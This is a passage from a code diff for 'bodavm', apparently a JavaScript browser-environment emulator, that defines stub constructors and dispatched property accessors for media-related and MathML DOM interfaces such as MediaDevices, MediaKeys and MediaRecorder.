'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncut", { + configurable: true, + enumerable: true, + get: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncut_get", arguments); + }, + set: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpaste", { + configurable: true, + enumerable: true, + get: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpaste_get", arguments); + }, + set: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "dataset", { + configurable: true, + enumerable: true, + get: function dataset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "dataset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "nonce", { + configurable: true, + enumerable: true, + get: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "nonce_get", arguments); + }, + set: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "nonce_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "autofocus", { + configurable: true, + enumerable: true, + get: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "autofocus_get", arguments); + }, + set: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "autofocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "tabIndex", { + configurable: true, + enumerable: true, + get: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "tabIndex_get", arguments); + }, + set: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "tabIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "attributeStyleMap", { + configurable: true, + enumerable: true, + get: function attributeStyleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "attributeStyleMap_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "blur", { + configurable: true, + enumerable: true, + writable: true, + value: function blur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "blur", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "focus", { + configurable: true, + enumerable: true, + writable: true, + value: function focus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "focus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncontentvisibilityautostatechange", { + configurable: true, + enumerable: true, + get: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontentvisibilityautostatechange_get", arguments); + }, + set: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontentvisibilityautostatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforematch", { + configurable: true, + enumerable: true, + get: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforematch_get", arguments); + }, + set: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforematch_set", arguments); + } +}, 'prototype'); +// MediaCapabilities对象 + +bodavm.memory.globalobj['MediaCapabilities'] = function MediaCapabilities() { + console.log_copy('MediaCapabilities 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaCapabilities)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaCapabilities'], "MediaCapabilities"); +bodavm.toolsFunc.defineProperty('MediaCapabilities', "decodingInfo", { + configurable: true, + enumerable: true, + writable: true, + value: function decodingInfo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaCapabilities'].prototype, "MediaCapabilities", "decodingInfo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaCapabilities', "encodingInfo", { + configurable: true, + enumerable: true, + writable: true, + value: function encodingInfo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaCapabilities'].prototype, "MediaCapabilities", "encodingInfo", arguments); + } +}, 'prototype'); +// MediaDevices对象 + +bodavm.memory.globalobj['MediaDevices'] = function MediaDevices() { + console.log_copy('MediaDevices 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaDevices)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaDevices'], "MediaDevices"); +bodavm.memory.globalobj['MediaDevices'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaDevices'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaDevices', "enumerateDevices", { + configurable: true, + enumerable: true, + writable: true, + value: function enumerateDevices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "enumerateDevices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "getSupportedConstraints", { + configurable: true, + enumerable: true, + writable: true, + value: function getSupportedConstraints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getSupportedConstraints", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "getUserMedia", { + configurable: true, + enumerable: true, + writable: true, + value: function getUserMedia() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getUserMedia", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "ondevicechange", { + configurable: true, + enumerable: true, + get: function ondevicechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "ondevicechange_get", arguments); + }, + set: function ondevicechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "ondevicechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "getDisplayMedia", { + configurable: true, + enumerable: true, + writable: true, + value: function getDisplayMedia() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getDisplayMedia", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "setCaptureHandleConfig", { + configurable: true, + enumerable: true, + writable: true, + value: function setCaptureHandleConfig() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "setCaptureHandleConfig", arguments); + } +}, 'prototype'); +// MediaElementAudioSourceNode对象 + +bodavm.memory.globalobj['MediaElementAudioSourceNode'] = function MediaElementAudioSourceNode() { + console.log_copy('MediaElementAudioSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaElementAudioSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaElementAudioSourceNode': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaElementAudioSourceNode'], "MediaElementAudioSourceNode"); +bodavm.memory.globalobj['MediaElementAudioSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['MediaElementAudioSourceNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('MediaElementAudioSourceNode', "mediaElement", { + configurable: true, + enumerable: true, + get: function mediaElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaElementAudioSourceNode'].prototype, "MediaElementAudioSourceNode", "mediaElement_get", arguments); + }, + set: undefined +}, 'prototype'); +// MediaError对象 + +bodavm.memory.globalobj['MediaError'] = function MediaError() { + console.log_copy('MediaError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaError)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaError'], "MediaError"); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_ABORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_NETWORK", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_DECODE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_SRC_NOT_SUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('MediaError', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaError'].prototype, "MediaError", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaError'].prototype, "MediaError", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_ABORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_NETWORK", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_DECODE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_SRC_NOT_SUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +// MediaKeyMessageEvent对象 + +bodavm.memory.globalobj['MediaKeyMessageEvent'] = function MediaKeyMessageEvent() { + console.log_copy('MediaKeyMessageEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeyMessageEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaKeyMessageEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeyMessageEvent'], "MediaKeyMessageEvent"); +bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaKeyMessageEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaKeyMessageEvent', "messageType", { + configurable: true, + enumerable: true, + get: function messageType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype, "MediaKeyMessageEvent", "messageType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyMessageEvent', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype, "MediaKeyMessageEvent", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +// MediaKeys对象 + +bodavm.memory.globalobj['MediaKeys'] = function MediaKeys() { + console.log_copy('MediaKeys 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeys)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeys'], "MediaKeys"); +bodavm.toolsFunc.defineProperty('MediaKeys', "createSession", { + configurable: true, + enumerable: true, + writable: true, + value: function createSession() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "createSession", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeys', "setServerCertificate", { + configurable: true, + enumerable: true, + writable: true, + value: function setServerCertificate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "setServerCertificate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeys', "getStatusForPolicy", { + configurable: true, + enumerable: true, + writable: true, + value: function getStatusForPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "getStatusForPolicy", arguments); + } +}, 'prototype'); +// MediaKeySession对象 + +bodavm.memory.globalobj['MediaKeySession'] = function MediaKeySession() { + console.log_copy('MediaKeySession 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeySession)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeySession'], "MediaKeySession"); +bodavm.memory.globalobj['MediaKeySession'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaKeySession'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaKeySession', "sessionId", { + configurable: true, + enumerable: true, + get: function sessionId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "sessionId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "expiration", { + configurable: true, + enumerable: true, + get: function expiration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "expiration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "keyStatuses", { + configurable: true, + enumerable: true, + get: function keyStatuses() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "keyStatuses_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "onkeystatuseschange", { + configurable: true, + enumerable: true, + get: function onkeystatuseschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onkeystatuseschange_get", arguments); + }, + set: function onkeystatuseschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onkeystatuseschange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "generateRequest", { + configurable: true, + enumerable: true, + writable: true, + value: function generateRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "generateRequest", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "load", { + configurable: true, + enumerable: true, + writable: true, + value: function load() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "load", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "update", { + configurable: true, + enumerable: true, + writable: true, + value: function update() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "update", arguments); + } +}, 'prototype'); +// MediaKeyStatusMap对象 + +bodavm.memory.globalobj['MediaKeyStatusMap'] = function MediaKeyStatusMap() { + console.log_copy('MediaKeyStatusMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeyStatusMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeyStatusMap'], "MediaKeyStatusMap"); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "values", arguments); + } +}, 'prototype'); +// MediaKeySystemAccess对象 + +bodavm.memory.globalobj['MediaKeySystemAccess'] = function MediaKeySystemAccess() { + console.log_copy('MediaKeySystemAccess 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeySystemAccess)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeySystemAccess'], "MediaKeySystemAccess"); +bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "keySystem", { + configurable: true, + enumerable: true, + get: function keySystem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "keySystem_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "createMediaKeys", { + configurable: true, + enumerable: true, + writable: true, + value: function createMediaKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "createMediaKeys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "getConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "getConfiguration", arguments); + } +}, 'prototype'); +// MediaList对象 + +bodavm.memory.globalobj['MediaList'] = function MediaList() { + console.log_copy('MediaList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaList'], "MediaList"); +bodavm.toolsFunc.defineProperty('MediaList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "mediaText", { + configurable: true, + enumerable: true, + get: function mediaText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "mediaText_get", arguments); + }, + set: function mediaText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "mediaText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "appendMedium", { + configurable: true, + enumerable: true, + writable: true, + value: function appendMedium() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "appendMedium", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "deleteMedium", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteMedium() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "deleteMedium", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "toString", arguments); + } +}, 'prototype'); +// MediaMetadata对象 + +bodavm.memory.globalobj['MediaMetadata'] = function MediaMetadata() { + console.log_copy('MediaMetadata 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.MediaMetadata(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaMetadata'], "MediaMetadata"); +bodavm.toolsFunc.defineProperty('MediaMetadata', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "title_get", arguments); + }, + set: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "title_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaMetadata', "artist", { + configurable: true, + enumerable: true, + get: function artist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artist_get", arguments); + }, + set: function artist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artist_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaMetadata', "album", { + configurable: true, + enumerable: true, + get: function album() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "album_get", arguments); + }, + set: function album() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "album_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaMetadata', "artwork", { + configurable: true, + enumerable: true, + get: function artwork() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artwork_get", arguments); + }, + set: function artwork() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artwork_set", arguments); + } +}, 'prototype'); +// MediaQueryListEvent对象 + +bodavm.memory.globalobj['MediaQueryListEvent'] = function MediaQueryListEvent() { + console.log_copy('MediaQueryListEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaQueryListEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaQueryListEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryListEvent'], "MediaQueryListEvent"); +bodavm.memory.globalobj['MediaQueryListEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaQueryListEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaQueryListEvent', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryListEvent'].prototype, "MediaQueryListEvent", "media_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryListEvent', "matches", { + configurable: true, + enumerable: true, + get: function matches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryListEvent'].prototype, "MediaQueryListEvent", "matches_get", arguments); + }, + set: undefined +}, 'prototype'); +// MediaRecorder对象 + +bodavm.memory.globalobj['MediaRecorder'] = function MediaRecorder() { + console.log_copy('MediaRecorder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaRecorder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaRecorder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaRecorder'], "MediaRecorder"); +bodavm.memory.globalobj['MediaRecorder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaRecorder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaRecorder', "isTypeSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isTypeSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].undefined, "MediaRecorder", "isTypeSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('MediaRecorder', "stream", { + configurable: true, + enumerable: true, + get: function 